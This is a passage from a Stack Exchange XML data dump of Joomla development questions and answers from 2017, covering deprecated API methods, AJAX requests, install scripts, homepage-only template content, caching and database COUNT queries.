suggest which file to work on to fix this issue? And could anyone suggest a possible fix if possible?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks so much!&lt;/p&gt;&#xA;" OwnerUserId="8777" LastActivityDate="2017-06-13T15:53:16.037" Title="Where to edit the responsive html codes for the main page for my website" Tags="|joomla-3.x|templates|jhtml|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20970" PostTypeId="1" AcceptedAnswerId="20996" CreationDate="2017-06-11T07:57:31.603" Score="1" ViewCount="341" Body="&lt;p&gt;I have just noticed that methods setUserState() and getUserState() from JApplication are marked as deprecated.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But what are the replacements for these two methods ?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks by advance&lt;/p&gt;&#xA;" OwnerUserId="1819" LastEditorUserId="1819" LastEditDate="2017-06-12T09:47:54.517" LastActivityDate="2017-06-13T19:41:18.040" Title="Replacement of deprecated setUserState() and getUserState()" Tags="|joomla-api|joomla-3.7|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20971" PostTypeId="2" ParentId="20968" CreationDate="2017-06-11T08:27:38.393" Score="1" Body="&lt;p&gt;Some things to try before the update:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;In Global Configuration, set Error Reporting to &quot;Maximum&quot;.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Update all third party extensions to the latest versions.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Try setting the PHP version to 5.6 if it's not already on 5.6.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="120" LastActivityDate="2017-06-11T08:27:38.393" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20972" PostTypeId="2" ParentId="20967" CreationDate="2017-06-11T08:40:06.157" Score="2" Body="&lt;p&gt;This is a good question as you have tried just about everything I can think of.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I only have a few suggestions. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Alternative Administrator Template&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;By default, the Isis template is enabled but Joomla also ships Hathor as an alternative administrator template.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can change to Hathor by selecting &quot;Administrator&quot; in the drop down list at Extensions -&gt; Templates and by clicking on the star in the Hathor row to set Hathor as the default.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Reinstall Core Files&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Run a backup using Akeeba Backup or similar before trying this step.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;At Components -&gt; Joomla Update click the button, &quot;Reinstall Joomla core files&quot; to install any missing files and revert any custom coding back to the original core code.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;JavaScript Console&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Check for any meaningful error messages in the JavaScript console.&lt;/p&gt;&#xA;" OwnerUserId="120" LastEditorUserId="120" LastEditDate="2017-06-12T00:08:01.273" LastActivityDate="2017-06-12T00:08:01.273" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20973" PostTypeId="1" CreationDate="2017-06-11T14:20:28.240" Score="1" ViewCount="2901" Body="&lt;p&gt;I am new to JavaScript. I'm creating my module. I'm trying to send data from an html form. I Can not use com_ajax...I create new class in &lt;code&gt;helper.php&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;public static function getAjax() {&#xA;&#xA;    jimport('joomla.application.module.helper');&#xA;    $input  = JFactory::getApplication()-&amp;gt;input;&#xA;    $module = JModuleHelper::getModule('mymodulename');&#xA;    $params = new JRegistry();&#xA;    $params-&amp;gt;loadString($module-&amp;gt;params);&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I need to send  data to &lt;code&gt;default.php&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I wrote a script to send data to a &lt;code&gt;mod_name.php&lt;/code&gt;.&#xA;JS HERE:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;script&amp;gt;&#xA; jQuery.noConflict();&#xA;   function function1() {&#xA;    var data = jQuery(&quot;lol&quot;).serialize();&#xA;    jQuery.ajax({&#xA;        url: &quot;index.php?option=com_ajax&amp;amp;module=auction&amp;amp;method=post&amp;amp;format=json&quot;, &#xA;        type: &quot;POST&quot;,&#xA;        data: data, &#xA;        success: function(data){ &#xA;            alert(data); &#xA;        }&#xA;    });&#xA;};&#xA;&amp;lt;/script&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;FOR&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;form method=&quot;post&quot; action=&quot;this.form.submit();&quot; name=&quot;form1&quot; id=&quot;lol&quot;&amp;gt;&#xA;    &amp;lt;input type=&quot;text&quot; name=&quot;price&quot; onclick=&quot;function1();&quot;&amp;gt;&#xA;&amp;lt;/form&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Did I do the right thing? And how can I get data in &lt;code&gt;default.php&lt;/code&gt;?&lt;/p&gt;&#xA;" OwnerUserId="11186" LastEditorUserId="1520" LastEditDate="2017-06-11T14:55:34.480" LastActivityDate="2018-12-05T09:02:10.413" Title="com_Ajax - send POST Request" Tags="|ajax|" AnswerCount="1" CommentCount="3" FavoriteCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20974" PostTypeId="1" CreationDate="2017-06-12T03:33:56.277" Score="2" ViewCount="235" Body="&lt;p&gt;Can some one suggest that in Standard form field types in joomla 3.5 - there are many options like text, editor, file, media, radio etc&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But - i can not get in a star rating option&#xA;I mean i have a product page and want to display star rating in it &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Like &amp;lt;&lt;code&gt;field name=&quot;Expert Rating&quot; type=&quot;rating&quot; label=&quot;Expert Rating&quot; description=&quot;View of Expert&quot; hint=&quot;pls assign stars to product&quot;/&amp;gt;&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a way to select field type as rating and if we select say 2 rating then the front end can load 2 stars against it and say if we load 4 star then front end can load 4 stars in it&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Pls advise&lt;/p&gt;&#xA;" OwnerUserId="5654" LastActivityDate="2017-07-12T16:20:32.203" Title="Joomla field type as star rating" Tags="|form-fields-types|fields|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="20977" PostTypeId="1" AcceptedAnswerId="20978" CreationDate="2017-06-12T09:47:31.037" Score="2" ViewCount="1090" Body="&lt;p&gt;I have noticied that method enqueueMessage() from JApplication has been marked as deprecated, but what is the replacement method for that ?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks by advance&lt;/p&gt;&#xA;" OwnerUserId="1819" LastActivityDate="2017-06-13T18:45:34.910" Title="Replacement of deprecated enqueueMessage() from JApplication" Tags="|joomla-api|joomla-3.7|" AnswerCount="2" CommentCount="0" FavoriteCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20978" PostTypeId="2" ParentId="20977" CreationDate="2017-06-12T10:25:43.653" Score="0" Body="&lt;p&gt;The entire &lt;code&gt;JApplication&lt;/code&gt; class has been marked deprecated. Instead, you need to use &lt;code&gt;JApplicationCms&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So to display an alert, you can use the following:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$app = JApplicationCms::getInstance('site');&#xA;$app-&amp;gt;enqueueMessage('My Message here', 'success');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="168" LastActivityDate="2017-06-12T10:25:43.653" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20979" PostTypeId="2" ParentId="20974" CreationDate="2017-06-12T15:20:44.740" Score="1" Body="&lt;p&gt;There is no standard form field type for star rating. However, you can decorate a standard form field look like star rating.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example, the below jQuery library can generate star rating using standard HTML textbox field.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://dobtco.github.io/starrr/&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://dobtco.github.io/starrr/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can develop your own custom field if you want pure Joomla form field. See the documentation below.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://docs.joomla.org/Creating_a_custom_form_field_type&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://docs.joomla.org/Creating_a_custom_form_field_type&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="4134" LastActivityDate="2017-06-12T15:20:44.740" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="20980" PostTypeId="1" CreationDate="2017-06-12T17:42:30.007" Score="1" ViewCount="58" Body="&lt;p&gt;I have 3 backups, one is from today and one is from a week ago. I restored the one from a week ago and don't see the one from today anymore. Is there anyway to get today's backup back?&lt;/p&gt;&#xA;" OwnerUserId="11187" LastActivityDate="2017-08-17T11:23:32.420" Title="I restored a backup from akeeba and lost the latest akeeba backup" Tags="|joomla-3.x|akeebabackup|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="20981" PostTypeId="2" ParentId="20969" CreationDate="2017-06-12T19:52:06.023" Score="2" Body="&lt;p&gt;Don't really know for your template but it can be the good file. It is generally a huge file :)  It is &lt;em&gt;protostar/css/template.css&lt;/em&gt; for the &lt;em&gt;protostar&lt;/em&gt; template shipped with Joomla.&lt;br&gt;&#xA;Once found, you should search the string &lt;em&gt;@media&lt;/em&gt;. These are called Media Queries. They are used to define new style rules for different media types. You can type something like:  &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;@media screen and (max-width:640px) :{&#xA;    p {&#xA;        background-color: red; } }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;In that case, paragraphs will have a red background-color when seen from a device which is a &lt;em&gt;screen&lt;/em&gt; whose max resolution is 640px.&lt;br&gt;&#xA;The word &lt;em&gt;screen&lt;/em&gt; is important. It is the media type. Because you can specify things like &lt;em&gt;print&lt;/em&gt; for printers !&lt;br&gt;&#xA;This is the very basic principle. &lt;/p&gt;&#xA;" OwnerUserId="5691" LastEditorUserId="5691" LastEditDate="2017-06-12T19:57:13.243" LastActivityDate="2017-06-12T19:57:13.243" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20982" PostTypeId="1" AcceptedAnswerId="20985" CreationDate="2017-06-12T23:12:57.580" Score="2" ViewCount="214" Body="&lt;p&gt;I found by Joomla 3.x, that I can use an install script something like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;class lib_exampleInstallerScript&#xA;{&#xA;    public function install($adapter) &#xA;    {&#xA;        // during install&#xA;    }&#xA;&#xA;    public function uninstall($adapter) &#xA;    {&#xA;        // during uninstall&#xA;    }&#xA;&#xA;    public function update($adapter) &#xA;    {&#xA;        // during update&#xA;    }&#xA;&#xA;    public function preflight($route, $adapter) &#xA;    {&#xA;        // before all&#xA;    }&#xA;&#xA;    public function postflight($route, $adapter) &#xA;    {&#xA;        // after all&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I was trying to create a script that verifies if the current extensions to be installed have higher version than the installed on system. Something like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;public function preflight($type, $parent){&#xA;&#xA;    // Return true if version to be installed is higher&#xA;    if (!$this-&amp;gt;isHigherVersion($parent)){&#xA;        $msg = &quot;&amp;lt;p&amp;gt;Error msg.&amp;lt;/p&amp;gt;&quot;;&#xA;        JLog::add($msg, JLog::WARNING, 'jerror');&#xA;        return false;&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;However, it seems that before getting into the preflight, joomla deletes the contents of the folder in the installed extension, and as I stop the process in the preflight, I get a folder without the files, just the installation script.&#xA;This shoul work when extension will installed or updated.&lt;/p&gt;&#xA;" OwnerUserId="11189" LastActivityDate="2017-06-13T03:49:58.700" Title="How stop update/installation by install script and mantain actual folder?" Tags="|joomla-3.x|installation|libraries|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20983" PostTypeId="2" ParentId="20973" CreationDate="2017-06-12T23:30:54.383" Score="1" Body="&lt;p&gt;The problem is in your url, the correct is:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;jQuery.ajax({&#xA;        url: &quot;index.php?option=com_ajax&amp;amp;module=auction&amp;amp;method=FUNCTIONNAME&amp;amp;format=json&quot;, &#xA;        type: &quot;POST&quot;,&#xA;        data: data, &#xA;        success: function(data){ &#xA;            alert(data); &#xA;        }&#xA;    });&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;in your case, the FUNCTIONNAME will be &lt;code&gt;get&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And your function, in helper  of  module, must end with &quot;Ajax&quot;. Ex. &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;public myFunctionAjax(){&#xA;  //Do something&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;in this case, url will be &lt;code&gt;index.php?option=com_ajax&amp;amp;module=MODULENAME&amp;amp;method=myFunction&amp;amp;format=json&lt;/code&gt;.&lt;/p&gt;&#xA;" OwnerUserId="11189" LastActivityDate="2017-06-12T23:30:54.383" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20984" PostTypeId="1" AcceptedAnswerId="20986" CreationDate="2017-06-13T02:33:06.347" Score="0" ViewCount="1126" Body="&lt;p&gt;I have used clever template and edited index.php file by adding some lines of code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;div class=&quot;col span_8&quot;&amp;gt;&#xA;          &amp;lt;div id=&quot;message&quot;&amp;gt;&#xA;           &amp;lt;h2&amp;gt;&#xA;             Message From The President&amp;lt;hr&amp;gt;&#xA;&#xA;            &amp;lt;/h2&amp;gt; &#xA;             &amp;lt;img src=&quot;&amp;lt;?php echo $this-&amp;gt;baseurl ?&amp;gt;/templates/&amp;lt;?php echo $this-&amp;gt;template ?&amp;gt;/images/president.jpg&quot; width=&quot;100&quot; height=&quot;100&quot; alt=&quot;president&quot;&amp;gt;&#xA;             &amp;lt;p&amp;gt;&#xA;&#xA;            Lorem Ipsum is simply dummy text of the printing and typesetting industry. Lorem Ipsum has been the industry's standard dummy text ever since the 1500s, when an unknown printer took a galley of type and scrambled it to make a type specimen book. It has survived not only five centuries, but also the leap into electronic typesetting, remaining essentially unchanged. It was popularised in the 1960s with the release of Letraset sheets containing Lorem Ipsum passages, and more recently with desktop publishing software like Aldus PageMaker including versions of Lorem Ipsum.&#xA;            &amp;lt;/p&amp;gt;&#xA;          &amp;lt;/div&amp;gt;&#xA;        &amp;lt;/div&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But, this is appearing on every single page? How do i make it appear only on homepage?&lt;/p&gt;&#xA;" OwnerUserId="9614" LastActivityDate="2017-06-13T09:08:25.997" Title="How do i edit only the homepage from the joomla template?" Tags="|development|templates|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20985" PostTypeId="2" ParentId="20982" CreationDate="2017-06-13T03:49:58.700" Score="1" Body="&lt;p&gt;To get the current version, you need to get the vesion from the &lt;code&gt;#__extensions&lt;/code&gt; table and compare them. This is the script I wrote for my extensions...I've dded some comments in there to help you:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;class lib_exampleInstallerScript&#xA;{&#xA;    protected $release = '';&#xA;&#xA;    protected $extension = 'lib_mylibrary';&#xA;&#xA;    public function preflight($type, $parent)&#xA;    {&#xA;        // Module manifest file version&#xA;        $this-&amp;gt;release = $parent-&amp;gt;get('manifest')-&amp;gt;version;&#xA;&#xA;        // Abort if the module being installed is not newer than the currently installed version&#xA;        if (strtolower($type) === 'update')&#xA;        {&#xA;            $manifest   = $this-&amp;gt;getItemArray(JFactory::getDbo()-&amp;gt;quote($this-&amp;gt;extension));&#xA;            $oldRelease = $manifest['version'];&#xA;&#xA;            // Someone is trying to install a lower version than is currently installed&#xA;            if (version_compare($this-&amp;gt;release, $oldRelease, '&amp;lt;'))&#xA;            {&#xA;                // Throw some error message and return false&#xA;                JApplicationCms::getInstance('site')-&amp;gt;enqueueMessage('Error msg'), 'error');&#xA;&#xA;                return false;&#xA;            }&#xA;&#xA;            // The version being installed is higher than what is currently installed&#xA;            if (version_compare($oldRelease, $this-&amp;gt;release, '&amp;lt;'))&#xA;            {&#xA;                // You can execute a function here&#xA;&#xA;                // If you want to compare a specific version.&#xA;                if (version_compare($oldRelease, '2.0.0', '&amp;lt;='))&#xA;                {&#xA;                    // Update function for version 2.0.0&#xA;                    // $this-&amp;gt;updateToVersionTwo();&#xA;                }&#xA;            }&#xA;        }&#xA;    }&#xA;&#xA;    protected function getItemArray($identifier)&#xA;    {&#xA;        $db = JFactory::getDbo();&#xA;&#xA;        $query = $db-&amp;gt;getQuery(true)&#xA;            -&amp;gt;select($db-&amp;gt;qn('manifest_cache'))&#xA;            -&amp;gt;from($db-&amp;gt;qn('#__extensions'))&#xA;            -&amp;gt;where($db-&amp;gt;qn('element') . ' = ' . $identifier);&#xA;        $db-&amp;gt;setQuery($query);&#xA;&#xA;        // Load the single cell and json_decode data&#xA;        $array = json_decode($db-&amp;gt;loadResult(), true);&#xA;&#xA;        return $array;&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Hope this helps&lt;/p&gt;&#xA;" OwnerUserId="168" LastActivityDate="2017-06-13T03:49:58.700" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="20986" PostTypeId="2" ParentId="20984" CreationDate="2017-06-13T04:32:21.070" Score="2" Body="&lt;p&gt;Rather than editing the index.php file, I recommend:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;creating a custom HTML module in Extensions -&gt; Modules&lt;/li&gt;&#xA;&lt;li&gt;publishing the module to a suitable module position and setting the module to display only on the Home Page via the options under the Menu Assignment tab&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="120" LastActivityDate="2017-06-13T04:32:21.070" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20987" PostTypeId="2" ParentId="20984" CreationDate="2017-06-13T08:57:28.533" Score="1" Body="&lt;p&gt;Neil's answer about assigning a module would be the best way to work with Joomla - the template should really just contain the shared elements.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you still need to detect the homepage as part of your template, however, then you would use the following code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;$app = JFactory::getApplication();&#xA;$menu = $app-&amp;gt;getMenu();&#xA;if ($menu-&amp;gt;getActive() == $menu-&amp;gt;getDefault()) { ?&amp;gt;&#xA;    &amp;lt;div class=&quot;col span_8&quot;&amp;gt;&#xA;          &amp;lt;div id=&quot;message&quot;&amp;gt;&#xA;           &amp;lt;h2&amp;gt;&#xA;             Message From The President&amp;lt;hr&amp;gt;&#xA;&#xA;            &amp;lt;/h2&amp;gt; &#xA;             &amp;lt;img src=&quot;&amp;lt;?php echo $this-&amp;gt;baseurl ?&amp;gt;/templates/&amp;lt;?php echo $this-&amp;gt;template ?&amp;gt;/images/president.jpg&quot; width=&quot;100&quot; height=&quot;100&quot; alt=&quot;president&quot;&amp;gt;&#xA;             &amp;lt;p&amp;gt;&#xA;&#xA;            Lorem Ipsum is simply dummy text of the printing and typesetting industry. Lorem Ipsum has been the industry's standard dummy text ever since the 1500s, when an unknown printer took a galley of type and scrambled it to make a type specimen book. It has survived not only five centuries, but also the leap into electronic typesetting, remaining essentially unchanged. It was popularised in the 1960s with the release of Letraset sheets containing Lorem Ipsum passages, and more recently with desktop publishing software like Aldus PageMaker including versions of Lorem Ipsum.&#xA;            &amp;lt;/p&amp;gt;&#xA;          &amp;lt;/div&amp;gt;&#xA;        &amp;lt;/div&amp;gt;&#xA;&amp;lt;?php } ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This works by checking if the current menu item object is the same as the default menu item's object.  If it is, that means you are on the default page.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you have a multilingual site, this is slightly different. See &lt;a href=&quot;https://docs.joomla.org/How_to_determine_if_the_user_is_viewing_the_front_page&quot; rel=&quot;nofollow noreferrer&quot;&gt;Joomla's documentation&lt;/a&gt; for further details.&lt;/p&gt;&#xA;" OwnerUserId="1622" LastEditorUserId="1622" LastEditDate="2017-06-13T09:08:25.997" LastActivityDate="2017-06-13T09:08:25.997" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20988" PostTypeId="1" CreationDate="2017-06-13T13:37:22.607" Score="2" ViewCount="178" Body="&lt;p&gt;I am facing a problem in part of page of an extension on comments&#xA;When cache is enabled, there is some json token error due to cache&#xA;When cache is disabled, the user can easily post in comment&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a way i can add up line of codes so that on body of page - when comments are loaded, cache is disabled , rest the whole page remains otherwise cached&lt;/p&gt;&#xA;" OwnerUserId="5654" LastActivityDate="2023-12-10T12:06:45.893" Title="Disabling cache on specific part of page from above comment" Tags="|cache|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20989" PostTypeId="2" ParentId="20988" CreationDate="2017-06-13T14:00:32.597" Score="0" Body="&lt;p&gt;You can use &lt;a href=&quot;https://extensions.joomla.org/extensions/extension/core-enhancements/performance/jotcache/&quot; rel=&quot;nofollow noreferrer&quot;&gt;JotCache component&lt;/a&gt; for this problem solution.&lt;/p&gt;&#xA;" OwnerUserId="8525" LastActivityDate="2017-06-13T14:00:32.597" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="20990" PostTypeId="2" ParentId="20988" CreationDate="2017-06-13T14:14:21.843" Score="0" Body="&lt;p&gt;You can exclude your comments extension from caching (see &lt;a href=&quot;http://www.jotcomponents.net/home/web-programming/jotcache/jotcache-help/148-jotcache-ver-6-x-help&quot; rel=&quot;nofollow noreferrer&quot;&gt;JotCache documentation&lt;/a&gt;).&lt;/p&gt;&#xA;" OwnerUserId="8525" LastActivityDate="2017-06-13T14:14:21.843" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="20991" PostTypeId="1" AcceptedAnswerId="21007" CreationDate="2017-06-13T15:25:07.567" Score="2" ViewCount="530" Body="&lt;p&gt;I used to get multiple COUNT in one query using the SUM(CASE WHEN&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$db =&amp;amp; JFactory::getDBO();&#xA;$query = &quot;SELECT&#xA;        SUM(CASE WHEN last_name LIKE 'A%' THEN 1 ELSE 0 END) as alpha,&#xA;        SUM(CASE WHEN last_name LIKE 'B%' THEN 1 ELSE 0 END) as beta&#xA;        FROM '#__mytable'&quot;; &#xA;$db-&amp;gt;setQuery($query);&#xA;$results = $db-&amp;gt;query();&#xA;while($row = mysqli_fetch_array($results)){&#xA;    $alpha = $row['alpha'];&#xA;    $beta = $row['beta'];&#xA;}&#xA;echo &quot;ALPHA: &quot;.$alpha;&#xA;echo &quot;&amp;lt;br /&amp;gt;BETA: &quot;.$beta;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Is there a way to do it in one query with JDatabase and avoid multiple single queries:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$db =&amp;amp; JFactory::getDBO();&#xA;$query = $db-&amp;gt;getQuery(true);&#xA;$query-&amp;gt;select( array('COUNT(id)'))-&amp;gt;from($db-&amp;gt;quoteName('#__mytable'))-&amp;gt;where($db-&amp;gt;quoteName('last_name') . ' LIKE ' .$db-&amp;gt;quote('A%'));&#xA;$db-&amp;gt;setQuery($query);&#xA;$alpha = $db-&amp;gt;loadResult();&#xA;&#xA;$query = $db-&amp;gt;getQuery(true);&#xA;$query-&amp;gt;select( array('COUNT(id)'))-&amp;gt;from($db-&amp;gt;quoteName('#__mytable'))-&amp;gt;where($db-&amp;gt;quoteName('last_name') . ' LIKE ' .$db-&amp;gt;quote('B%'));&#xA;$db-&amp;gt;setQuery($query);&#xA;$beta = $db-&amp;gt;loadResult();&#xA;&#xA;echo &quot;ALPHA: &quot;.$alpha;&#xA;echo &quot;&amp;lt;br /&amp;gt;BETA: &quot;.$beta;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If not what would be the best approach for multiple COUNT in one query?&lt;/p&gt;&#xA;" OwnerUserId="7457" LastActivityDate="2017-06-15T20:13:32.350" Title="Multiple Count from same table" Tags="|jdatabase|" AnswerCount="1" CommentCount="0" FavoriteCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20992" PostTypeId="2" ParentId="20969" CreationDate="2017-06-13T15:53:16.037" Score="3" Body="&lt;p&gt;Those divs have the classes &lt;strong&gt;h2 visible-lg visible-md visible-sm&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The following code hides those divs.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Line: 6685&#xA;.visible-xs, .visible-sm, .visible-md, .visible-lg {&#xA;    display: none !important;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The reason that they are visible in large screens is this code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Line: 6795&#xA;@media (min-width: 1200px) {&#xA;.visible-lg {&#xA;display: block !important;&#xA;}.....&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;you can find both codes in:&#xA;&lt;strong&gt;&lt;a href=&quot;http://elitemaths.com.au/templates/elitemaths/local/css/themes/elitemaths/bootstrap.css&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://elitemaths.com.au/templates/elitemaths/local/css/themes/elitemaths/bootstrap.css&lt;/a&gt;&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can remove the class &lt;strong&gt;visible-lg&lt;/strong&gt; from the first code or even better edit the second.&lt;/p&gt;&#xA;" OwnerUserId="7457" LastActivityDate="2017-06-13T15:53:16.037" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="20994" PostTypeId="1" CreationDate="2017-06-13T18:39:10.923" Score="0" ViewCount="109" Body="&lt;p&gt;As we know Joomla 3.7 permits to create custom administrator menus, but is it somehow possibile to create &quot;Custom HTML&quot; administrator single item menu? Something like creating single article menu on front-end without a WYSWIG editor. This combined with a plugin like &quot;Sourcerer&quot; that permits to put some PHP code, or a custom module, would give an amazing opportunity to create some simple, custom components. I aspected to be able to do that in Joomla 3.7, but haven't found anything. Is it somehow possibile? If not, have anyone thought about it? And if yes, then there is no option to do that?&lt;/p&gt;&#xA;" OwnerUserId="8182" LastActivityDate="2017-06-13T18:39:10.923" Title="Create custom HTML page as administrator menu in Joomla 3.7" Tags="|administrator|custom-component|custom-module|joomla-3.7|" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="20995" PostTypeId="2" ParentId="20977" CreationDate="2017-06-13T18:45:34.910" Score="4" Body="&lt;p&gt;It's not deprecated on JApplicationCms, the best way to call it would be:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$app = JFactory::getApplication()&#xA;$app-&amp;gt;enqueueMessage('My Message here', 'success');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;See &lt;a href=&quot;https://api.joomla.org/cms-3/classes/JFactory.html#method_getApplication&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://api.joomla.org/cms-3/classes/JFactory.html#method_getApplication&lt;/a&gt; for more details and to see that it returns JApplicationCms&lt;/p&gt;&#xA;" OwnerUserId="8182" LastActivityDate="2017-06-13T18:45:34.910" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
